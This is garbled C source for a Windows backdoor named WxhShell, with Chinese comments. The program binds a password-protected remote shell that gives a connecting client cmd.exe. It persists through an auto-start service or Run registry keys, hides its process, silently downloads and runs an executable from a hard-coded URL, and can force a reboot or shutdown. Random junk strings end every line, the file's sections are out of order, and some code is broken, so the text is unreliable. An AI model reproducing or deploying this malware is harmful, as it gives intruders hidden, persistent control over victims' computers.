    else { FPkk\[EU  
    closesocket(wsh); 8#g}ev@|u  
    ExitThread(0); t- TUP>_  
    } R)ZzRz|/  
    break; mj'N)6ga  
    } 0|J9Btbp  
  // 获取shell !L|l(<C  
  case 's': { e$_gOwB  
    CmdShell(wsh); +nHr+7}  
    closesocket(wsh); B8?9L8M}  
    ExitThread(0); po\jhfn  
    break; 1L+hI=\O  
  } S7WHOr9XMV  
  // 退出 F_g(}wE# q  
  case 'x': { )">#bu$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y z!L:1DG  
    CloseIt(wsh); 2wnk~URj  
    break; ,9}JPv4Z  
    } a'/C)fplL  
  // 离开 Fx}v.A5  
  case 'q': { i7PS=]TK\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'jMs&  
    closesocket(wsh); -:p VDxO  
    WSACleanup(); ] Ok &%-  
    exit(1); /4OQx0Xmm  
    break;  B9y5NX  
        } 9H;Os:"\|  
  } }yn%_KQ0  
  } gK;dfrU.8Y  
qoH:_o8ClO  
  // 提示信息 kTfRm^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X@}7 # Vt  
} .a :7|L#a  
  } GM9[ 0+u;  
SP<Sv8Okj  
  return; h.]^o*DJ  
} SmD#hE[  
\)wVO*9*0  
// shell模块句柄 v;5-1  
int CmdShell(SOCKET sock) J k`Jv;  
{ kjp~:Bg_(  
STARTUPINFO si; t( V 2  
ZeroMemory(&si,sizeof(si)); %'h:G Bkd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PX_9i@ZG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |v@_~HV  
PROCESS_INFORMATION ProcessInfo; ~PQR_?1  
char cmdline[]="cmd"; a@&qdp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); TCzlu#w  
  return 0; 9S17Lr*c  
} 0sKo NzE  
'YG P42#  
// 自身启动模式 9<y{:{i  
int StartFromService(void) ME]7e^  
{ ;`c:Law4  
typedef struct qi7*Jjk>90  
{ j DEym&-  
  DWORD ExitStatus; ZL0k  
  DWORD PebBaseAddress; ^_3 $f  
  DWORD AffinityMask; ujE~#b}X  
  DWORD BasePriority; sx;/xIU|  
  ULONG UniqueProcessId; UtJfO`m9P  
  ULONG InheritedFromUniqueProcessId; k~:(.)Nr  
}   PROCESS_BASIC_INFORMATION; ~N; dX[@BT  
Fw(  
PROCNTQSIP NtQueryInformationProcess; eYoc(bG(+  
0vDvp`ie#4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; roAHkI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;nbEV2Y<  
% q!i  
  HANDLE             hProcess; ]e5aHpgR=  
  PROCESS_BASIC_INFORMATION pbi; ~H?v L c;>  
#Pz'-lo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %La/E#  
  if(NULL == hInst ) return 0; `|"o\Bg<  
:jkPV%!~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fj( WH L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @ YWuWF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2Hx*kh2  
il{x?#Wrb  
  if (!NtQueryInformationProcess) return 0; /8`9SS  
@>~S$nw/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UHi^7jQ  
  if(!hProcess) return 0; Zn. S65J*u  
NcwUK\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XPq`; <G  
oa7 N6  
  CloseHandle(hProcess); 5syzh S  
ASMItT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w""u]b%:r  
if(hProcess==NULL) return 0; PIFZ '6gn  
R6>*n!*D@  
HMODULE hMod; &1=,?s]&  
char procName[255]; v6aMYmenBH  
unsigned long cbNeeded; X=6L-^ o)  
hHcevSr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~e,K  
`Has3AX8  
  CloseHandle(hProcess); C'l\4ij)7  
j+/EG^*/  
if(strstr(procName,"services")) return 1; // 以服务启动 -~\7ZRP8  
54TWFDmGi  
  return 0; // 注册表启动 F/p1?1M  
} >tL" 8@z9  
X,o ]tgg=  
// 主模块 Gb Mu;CA  
int StartWxhshell(LPSTR lpCmdLine) 2y8FP#  
{ ;9=4]YZt  
  SOCKET wsl; G+C{_o#3  
BOOL val=TRUE; Ssa/;O2  
  int port=0; ^dxy%*Z/  
  struct sockaddr_in door; !{uV-c-5,  
F3Vvqt*2  
  if(wscfg.ws_autoins) Install(); S*3$1BTl  
B@\0b|  
port=atoi(lpCmdLine); 2e ~RM2PQ  
HQ4WunH2Y  
if(port<=0) port=wscfg.ws_port; rvnm*e,  
{"|GV~  
  WSADATA data; 5y0LkuRR:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G8^b9xoA+.  
P:X X8&#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j.c4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); flBJO.2  
  door.sin_family = AF_INET; #^i+'Z=L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cx)x="c  
  door.sin_port = htons(port); +'` ^ N  
{=R vFA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OQuTM[W  
closesocket(wsl); zn*i  
return 1; l`JKQk   
} "6?Y$y/wm  
rHjR 4q  
  if(listen(wsl,2) == INVALID_SOCKET) { T z+Y_  
closesocket(wsl); MI8c>5?  
return 1; j=>WWlZ  
} W"xRf0\V  
  Wxhshell(wsl); =E~SaT  
  WSACleanup(); Pc~)4>X<  
;]/cCi  
return 0; JvW!w)$pY  
,Qe`(vU*s  
} )GC[xo4bg  
aO\@5i_r  
// 以NT服务方式启动 dUceZmAl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DshRH>7s8  
{ E@="n<uS  
DWORD   status = 0; FEA/}*2F  
  DWORD   specificError = 0xfffffff; <@@@Pl!~  
+w@/$datI  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  _8z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,(#n8|q4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )7rMevF(xJ  
  serviceStatus.dwWin32ExitCode     = 0; VN@ZYSs  
  serviceStatus.dwServiceSpecificExitCode = 0; 5hiuBf<  
  serviceStatus.dwCheckPoint       = 0; zjx'nK{eI  
  serviceStatus.dwWaitHint       = 0; QO,ge<N+N  
.7#04_aP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UZc{ Av  
  if (hServiceStatusHandle==0) return; 0j 'k%R[l  
N_.`5I;e  
status = GetLastError(); gD6BPW~0  
  if (status!=NO_ERROR) a4!6K  
{ -32.g \]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +G!;:o  
    serviceStatus.dwCheckPoint       = 0; A)^A2xZQ  
    serviceStatus.dwWaitHint       = 0; ?[O Sy.6  
    serviceStatus.dwWin32ExitCode     = status; ><;.vP  
    serviceStatus.dwServiceSpecificExitCode = specificError; QlxlT$o}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C1~Ro9si  
    return; MWc{7,  
  } 9n".Q-V;k  
;|K(6)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Aa%ks+1  
  serviceStatus.dwCheckPoint       = 0; HmEU;UbO-  
  serviceStatus.dwWaitHint       = 0; \6Hu&WHy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }*0*8~Q'5  
} Yr+ghl/ V  
+wr 5&  
// 处理NT服务事件,比如:启动、停止 9DmQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~E7=c3:"  
{ r+Y]S-o:  
switch(fdwControl) 8,(5Q  
{ !O8vr4=  
case SERVICE_CONTROL_STOP: L_7-y92<W  
  serviceStatus.dwWin32ExitCode = 0; iW <B1'dp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YPav5<{a  
  serviceStatus.dwCheckPoint   = 0; qUp DmH  
  serviceStatus.dwWaitHint     = 0; = P {]3K  
  { R:DW>LB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [k6 5i  
  } })r[q sv  
  return; ='r4z z  
case SERVICE_CONTROL_PAUSE: E)l@uPA'1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nbz?D_  
  break; Rs%6O|u7  
case SERVICE_CONTROL_CONTINUE: Wj. _{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~x}=lKN  
  break; T\Q)"GB  
case SERVICE_CONTROL_INTERROGATE: 8/E?3a_g-  
  break; Fop "m/  
}; uBC*7Mkm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l4Y}<j\;  
} =zW.~(c{  
PfVjfrI[  
// 标准应用程序主函数 D(<20b,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +Gvf5+ 5VR  
{ >?A3;O]  
Lv ,Ls  
// 获取操作系统版本 (@?PN+68|  
OsIsNt=GetOsVer(); xpVYNS{c+|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $ V"7UA22  
ojd/%@+u+Y  
  // 从命令行安装 R|AG N*.  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4E& 3{hnp  
*tT }y(M  
  // 下载执行文件 %.D@{O  
if(wscfg.ws_downexe) { ve / Q6j{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N~ XzgI  
  WinExec(wscfg.ws_filenam,SW_HIDE); v ~%6!Tr  
} "-TIao#  
 G l*C"V  
if(!OsIsNt) { <%Re!y@OL  
// 如果时win9x,隐藏进程并且设置为注册表启动 TNV#   
HideProc(); Si]8*>}-B  
StartWxhshell(lpCmdLine); Fu(I<o+T-  
} asI:J/%+2  
else scUWI"  
  if(StartFromService()) =X2EF  
  // 以服务方式启动 Y&5h_3K;<  
  StartServiceCtrlDispatcher(DispatchTable); 8a1G0HRQ  
else a8%/Xwr~  
  // 普通方式启动 '?k*wEu  
  StartWxhshell(lpCmdLine);  B9^@]  
Jj'~\j  
return 0; /Et:',D  
} #3u;Ox  
&`63"^y  
{E`f(9r:  
A:ef}OCL  
=========================================== PZ;O pp  
.)mw~3]  
sT3O_20{  
@Tzh3,F2  
uU>Bun  
X(#G6KeZFZ  
" @$;"nVZ4v  
M(S:&GOU  
#include <stdio.h> ]#[ R^t  
#include <string.h> 6?ylSQ]1  
#include <windows.h> OY6l t.t  
#include <winsock2.h> *Oo2rk nQ  
#include <winsvc.h> C=AX{sn  
#include <urlmon.h> [N925?--S  
6kKIDEX  
#pragma comment (lib, "Ws2_32.lib") X4Eq/q"  
#pragma comment (lib, "urlmon.lib") r>`65o  
9[B*CD |  
#define MAX_USER   100 // 最大客户端连接数 hM(|d@)  
#define BUF_SOCK   200 // sock buffer >+fet ,  
#define KEY_BUFF   255 // 输入 buffer ?!~CX`eMZ  
(Y!@,rKd   
#define REBOOT     0   // 重启 a3037~X  
#define SHUTDOWN   1   // 关机 \?)<==^  
WrL&$dEJ?M  
#define DEF_PORT   5000 // 监听端口 U)+Yh  
}} l04kN_  
#define REG_LEN     16   // 注册表键长度 -pc*$oe  
#define SVC_LEN     80   // NT服务名长度 BxO8oKe  
i%0Ml:Y  
// 从dll定义API y#^d8 }+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kL,AY-Iu{@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SUfl`\O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +kQ$X{+;8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sL XQ)Ce  
4jj@"*^a  
// wxhshell配置信息 k| nv[xY0  
struct WSCFG { c ++tk4  
  int ws_port;         // 监听端口 .QzHHW4&0  
  char ws_passstr[REG_LEN]; // 口令 *9((b;Ju  
  int ws_autoins;       // 安装标记, 1=yes 0=no Yyby 1  
  char ws_regname[REG_LEN]; // 注册表键名 W[: n*h  
  char ws_svcname[REG_LEN]; // 服务名 {KE858  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hO@'WoniW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o6ec\v!l-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PygaW&9Z|d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O[;>Y'zqC%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k 0z2)3L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +EJIYvkFm  
r+;op_  
}; c Q|nL  
/A4zR  
// default Wxhshell configuration CbA!  
struct WSCFG wscfg={DEF_PORT, :}v&TQ  
    "xuhuanlingzhe",  ">*PH}b  
    1, vz*QzVk1  
    "Wxhshell", iXMs*G cK  
    "Wxhshell", ,l#Ev{  
            "WxhShell Service", G0|j3y9$  
    "Wrsky Windows CmdShell Service", vu;pILN  
    "Please Input Your Password: ", -S OP8G  
  1, P|_>M SO1'  
  "http://www.wrsky.com/wxhshell.exe", ! &Vp5]c  
  "Wxhshell.exe" ,[%KSyH  
    }; |#Bz&T  
yNP M-  
// 消息定义模块 Z~ VOO7|m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5vxJ|Hse@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &[}b HX /  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =U!M,zw4  
char *msg_ws_ext="\n\rExit."; \IbGNV`q  
char *msg_ws_end="\n\rQuit."; gh|TlvnA  
char *msg_ws_boot="\n\rReboot..."; m@R!o  
char *msg_ws_poff="\n\rShutdown..."; )Y+n4UL3NK  
char *msg_ws_down="\n\rSave to "; X<m#:0iD  
7 /w)^&8  
char *msg_ws_err="\n\rErr!"; +;tXk  
char *msg_ws_ok="\n\rOK!"; >&7K|$y.J  
(4L XoNT  
char ExeFile[MAX_PATH]; F??})YX  
int nUser = 0; %Iw6oG  
HANDLE handles[MAX_USER]; <<W{nSm#  
int OsIsNt; D$d8u=S  
+6-c<m|  
SERVICE_STATUS       serviceStatus; nxkbI:+t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H[UV]qO,  
-uXf?sTV  
// 函数声明 D.9qxM"Z>  
int Install(void); W~z 2Q so  
int Uninstall(void); +hI:5(_  
int DownloadFile(char *sURL, SOCKET wsh); Va"Q1 *"  
int Boot(int flag); fgK1+sW  
void HideProc(void); +] >o@  
int GetOsVer(void); Tz[ck 'k  
int Wxhshell(SOCKET wsl); [QEV6 S]  
void TalkWithClient(void *cs); _8Cw_  
int CmdShell(SOCKET sock); GuPxN}n 5  
int StartFromService(void); c! vtQ<h-  
int StartWxhshell(LPSTR lpCmdLine); tAO,s ZW  
sygxV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d _ )5Ks}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); DJvmwFx  
%wWJVq}jx  
// 数据结构和表定义 :rd{y`59>&  
SERVICE_TABLE_ENTRY DispatchTable[] = D^8]+2r  
{ S=B?bD_,c  
{wscfg.ws_svcname, NTServiceMain}, ,$s NfW  
{NULL, NULL} M?l/_!QB  
}; z{Z4{&M  
\ :To\6\Ri  
// 自我安装 .R'<v^H  
int Install(void) ,RjE?M%  
{ )voJq\Y)%  
  char svExeFile[MAX_PATH]; !_C*2+f  
  HKEY key; RC'4%++Nz  
  strcpy(svExeFile,ExeFile); 2wLnRP`*  
/.P9n9  
// 如果是win9x系统,修改注册表设为自启动 9.u}<m  
if(!OsIsNt) { 4zyN>f|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OGW,[k= 2{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uF,F<%d  
  RegCloseKey(key); "159Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wV8_O)[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3m%oXT  
  RegCloseKey(key); C+o1.#]JM  
  return 0; n-zAkKM  
    } x7\b-EC  
  } ]!CMo+  
} O(x1Ja,&  
else { }huj%Pnk )  
N~H!6N W  
// 如果是NT以上系统,安装为系统服务 B' }h6ZH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9U~fc U6  
if (schSCManager!=0) U )kl !  
{ >T84NFdz+  
  SC_HANDLE schService = CreateService Nz/PAs7g6  
  ( JBqL0H  
  schSCManager, U'~M(9uv:  
  wscfg.ws_svcname, J5dwd,FQ  
  wscfg.ws_svcdisp, NxY B)`~  
  SERVICE_ALL_ACCESS, %8Eu{3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @^P<(%p  
  SERVICE_AUTO_START, S 7pf QF  
  SERVICE_ERROR_NORMAL, AXnRA W  
  svExeFile, vH1IVF"DS  
  NULL, ^UU@7cSi|G  
  NULL, B xAyjA6  
  NULL, {A^3<=|  
  NULL, wwh1aV *  
  NULL Sc b'  
  ); xqm-m  
  if (schService!=0) /bdL.Y#V  
  { E8X(AZ 2  
  CloseServiceHandle(schService); p>#sR4d>  
  CloseServiceHandle(schSCManager); F*u"LTH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B&fH FyK1n  
  strcat(svExeFile,wscfg.ws_svcname); HSwC4y}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2 |`7_*\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l4Au{%j\  
  RegCloseKey(key); M./1.k&@  
  return 0; y{>T['"@  
    } l,fwF ua  
  } &{4KymB:  
  CloseServiceHandle(schSCManager); >]{{5oOQ>  
} /(oxK>*F  
} K;8{qQ*  
<C1w?d$9I  
return 1; !NqLBrcv0  
} &=f] a  
+{~ cX] |  
// 自我卸载 %-?k [DL6  
int Uninstall(void) u.yYE,9  
{ _tlr8vL  
  HKEY key; 6~34L{u  
d+qeZGg^A  
if(!OsIsNt) { Xsk/U++  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `. i #3P  
  RegDeleteValue(key,wscfg.ws_regname); (N"9C+S}  
  RegCloseKey(key); 953GmNZ7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HIGTo\]Z  
  RegDeleteValue(key,wscfg.ws_regname); 8u%rh[g'  
  RegCloseKey(key); v[~~q  
  return 0; U8S<wf&  
  } t $m:  
} `}:pUf  
}  "tT68  
else { cqYMzS t  
^O.` P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4Sz2 9\X  
if (schSCManager!=0) /9b+I/xY"  
{ n  +v(t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |zbM$37 ?k  
  if (schService!=0) *j~ObE_y  
  { ECsb?n7e  
  if(DeleteService(schService)!=0) { B#]:1:Qn  
  CloseServiceHandle(schService); we0haK  
  CloseServiceHandle(schSCManager); ke<l@w O  
  return 0; y_``-F&Z  
  } @Os0A  
  CloseServiceHandle(schService); I*z|_}$  
  } 8\F|{vt#  
  CloseServiceHandle(schSCManager); ? KDg|d  
} `3eQ#,G!  
} #.<Dq8u  
y@h v#;  
return 1; Xv+!) j<  
} QVF561Yz  
yi8AzUW cW  
// 从指定url下载文件 fBb:J+  
int DownloadFile(char *sURL, SOCKET wsh) !k<k]^Z\  
{ vYybQ&E/  
  HRESULT hr; FwE<_hq//  
char seps[]= "/"; v4qpE!W27~  
char *token; :x,dYJm  
char *file; dUQ )&Hv  
char myURL[MAX_PATH]; Bx/)Sl@  
char myFILE[MAX_PATH]; ], IQ~  
:*M2@  
strcpy(myURL,sURL); sa}.o ZpQ  
  token=strtok(myURL,seps); SJ}PV:x  
  while(token!=NULL) C).+h7{nd  
  { ~OMo$qt`lP  
    file=token; |H(i)yu"5'  
  token=strtok(NULL,seps); # uy^AC$  
  } _Tf %<E  
\#v(f2jPF  
GetCurrentDirectory(MAX_PATH,myFILE); *:% I|5  
strcat(myFILE, "\\"); Z,-J tl  
strcat(myFILE, file); UGxF}Q  
  send(wsh,myFILE,strlen(myFILE),0); %CZGV7JdA  
send(wsh,"...",3,0); IL,iu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 33ZHrZ  
  if(hr==S_OK) Jt:)(&-t   
return 0; >E7s}bL"  
else 4~AY: ib|  
return 1; 4Wu(Tps  
DoNN;^H  
} HJ!!"  
3!h3flE  
// 系统电源模块 e#vGrLs.  
int Boot(int flag) RA!8AS?  
{ 4av  
  HANDLE hToken; ^jXKM!}-E  
  TOKEN_PRIVILEGES tkp; b\^1P;!'W  
iL<FF N~{  
  if(OsIsNt) { uF ;8B]"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _} j6Pw'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g* -}9~  
    tkp.PrivilegeCount = 1; RT2&^9-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - i{1h"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ac,<+y7A  
if(flag==REBOOT) { j*FpQiBoT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .kyes4Z  
  return 0; E<p<"UjcCJ  
} sZwa#CQKq  
else { Ld'3uM/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tR .>d  
  return 0; v5I5tzt*%H  
} L*P*^I^1  
  } )+"(7U<  
  else { NA YwuE-`  
if(flag==REBOOT) { >_#A*B|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]D^zTl3=q  
  return 0; ^U^K\rq 1u  
} 3*F|`js"  
else { Q>xp 90&.n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f*EDSJu\  
  return 0; 9%dO"t$-q  
} -dw/wHf"  
} ^Ge|tBMoKE  
Sq5}v]k@&  
return 1; P  V9q=  
} 8}X>u2t  
c],Zw  
// win9x进程隐藏模块 <J]N E|:  
void HideProc(void) ,!^g8zO  
{ MIu'OJ"z~  
bWZ oGFT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u$ vLwJ|o  
  if ( hKernel != NULL ) ]'vAeC6{  
  { )"Wy/P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H:t2;Z'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t4p-pH'9b  
    FreeLibrary(hKernel); "/x/]Qx2  
  } rm<`H(cT  
Kww+lgzS  
return; m[w~h\FS  
} 9S?b &]  
e63io0g>  
// 获取操作系统版本 ioslarw1J  
int GetOsVer(void) xw*/8.Md6f  
{ 0a+U >S#  
  OSVERSIONINFO winfo; C?rb}(m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B~3qEdoK5`  
  GetVersionEx(&winfo); aSeh?2n8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HmV JkkksJ  
  return 1; #b1/2=PA  
  else _Ry  
  return 0; @iVEnb.'  
} ZO\bCrk  
<2\Q Y  
// 客户端句柄模块 2~)q080jh  
int Wxhshell(SOCKET wsl) _2<k,Dl;RY  
{  P!/:yWd  
  SOCKET wsh; UFE~6"t(  
  struct sockaddr_in client; ?osYs<k \  
  DWORD myID; %"3tGi:/  
kCKCJ }N  
  while(nUser<MAX_USER) MENrP5AL  
{ "; ?^gA  
  int nSize=sizeof(client); XE|"n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tTe:Oq  
  if(wsh==INVALID_SOCKET) return 1; k")3R}mX  
(!<G` ;}u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EkP(] F  
if(handles[nUser]==0) n{E + r  
  closesocket(wsh); (XQl2C  
else >&|/4`HSB  
  nUser++; oX-h7;SD  
  } (P nrY~9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IUy5=Sl   
5{#ya 2  
  return 0; zQx7qx  
} T(bFn?  
E2|c;{ c  
// 关闭 socket ;<v9i#K5  
void CloseIt(SOCKET wsh) oFS)3.  
{ Z9lfd6MU,  
closesocket(wsh); mvBUm-X  
nUser--; H{*R(S<I  
ExitThread(0); ;gW?Fnry;  
} nB , &m&  
JZ0u/x5  
// 客户端请求句柄 9,Ug  
void TalkWithClient(void *cs) (2%z9W  
{ 86f/R c  
yl~h `b4  
  SOCKET wsh=(SOCKET)cs; $g)X,iQu  
  char pwd[SVC_LEN]; M{~KT3c  
  char cmd[KEY_BUFF]; a.g:yWL\  
char chr[1]; -\fn\n  
int i,j; }MV=t7x9+  
T8J[B( )L  
  while (nUser < MAX_USER) { n5 jzVv  
y :8Oc?  
if(wscfg.ws_passstr) { z,=k F I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .JL?RH2@8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RLbxNn  
  //ZeroMemory(pwd,KEY_BUFF); @&]%%o+  
      i=0; Qtn%h:i S~  
  while(i<SVC_LEN) { 2aO.t  
Hh.l,Z7i7D  
  // 设置超时 [y$sJF7;I  
  fd_set FdRead; TfqQh!Y  
  struct timeval TimeOut; NpYzN|W:  
  FD_ZERO(&FdRead); [ f`V_1d3  
  FD_SET(wsh,&FdRead); "npLl]XM  
  TimeOut.tv_sec=8; VBI~U?0  
  TimeOut.tv_usec=0; b$'}IWNV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a(`@u&]WZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i9k/X&V  
mGqT_   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q/yL={H?  
  pwd=chr[0]; Sf*b{6lcC  
  if(chr[0]==0xd || chr[0]==0xa) { D.R 7#^.  
  pwd=0; nc.X+dx:  
  break; *f$wmZ5A  
  } WT>2eMK[  
  i++; RgT|^|ZA  
    } ] 'ybu&22  
[D%5Fh\0  
  // 如果是非法用户,关闭 socket uVw|fT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -?68%[4lm_  
} o@KK/f  
QGQ> shIeZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IXef}%1N?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [.NG~ cpb  
)R'~{;z }  
while(1) { ]J7.d$7T  
V}kQXz"9  
  ZeroMemory(cmd,KEY_BUFF); Ljjuf=]  
BSB;0OM  
      // 自动支持客户端 telnet标准   G\ht)7SGgf  
  j=0; ~1v5H]T{  
  while(j<KEY_BUFF) { K=82fF(-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Sq,x57-  
  cmd[j]=chr[0]; Cl5l+I\1  
  if(chr[0]==0xa || chr[0]==0xd) { &I$MV5)u  
  cmd[j]=0; ("B[P/  
  break; WD7IF+v  
  } Wc+)EX~KS  
  j++; X) peY  
    } 5J4'\M  
A7qKY-4B  
  // 下载文件 .v{ok,&  
  if(strstr(cmd,"http://")) { o1 kY|cnGH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mew,S)dq!  
  if(DownloadFile(cmd,wsh)) 9c@."O`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +bw>9VmG  
  else LJ Aqk2k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hc;8Vsa  
  } MIJ^ n(-G  
  else { 0qj:v"~Q  
\'gb{JO  
    switch(cmd[0]) { *Jy'3o  
  ZYy?JDAO  
  // 帮助 :"9P {xe^  
  case '?': { $R2iSu{kO  
